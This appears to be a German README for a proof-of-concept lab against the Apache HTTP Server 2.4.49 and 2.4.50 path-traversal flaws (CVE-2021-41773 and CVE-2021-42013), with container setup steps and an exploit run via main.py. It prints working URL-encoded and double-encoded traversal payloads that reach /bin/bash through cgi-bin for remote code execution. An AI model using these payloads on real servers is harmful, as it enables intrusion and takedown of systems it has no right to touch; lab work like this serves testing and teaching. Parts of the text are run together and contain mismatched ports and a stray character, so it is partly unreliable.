
Eine Schwachstelle wurde in einer Änderung an der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte mithilfe eines Path-Traversal-Angriffs URLs auf Dateien außerhalb der Verzeichnisse abbilden, die durch Alias-artige Direktiven konfiguriert sind. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte für diese Alias-Pfade ebenfalls aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Diese Schwachstelle wird bekanntermaßen in freier Wildbahn ausgenutzt. Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen. Der Fix in Apache HTTP Server 2.4.50 war unvollständig, siehe CVE-2021-42013.
pip3 install colorama)perl-CGI-Skript, das in dem/den Container(n) läuftStarten Sie einen verwundbaren Apache httpd (mit Standardkonfiguration) als Docker-/Podman-Container.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen-Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 Wählen Sie den Angriff auf Version 2.4.49
1.3 python3 main.py localhost:2450
1.4 Wählen Sie den Angriff auf Version 2.4.50
Der Exploit nutzt das CGI-Modul von Apache httpd aus, um durch Path Traversal die Ausführung beliebiger ausführbarer Dateien zu ermöglichen.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ ist URL-kodiert und entspricht nach dem Dekodieren ../.
.%%32%658 ist doppelt URL-kodiert und entspricht nach dem Dekodieren ebenfalls ../.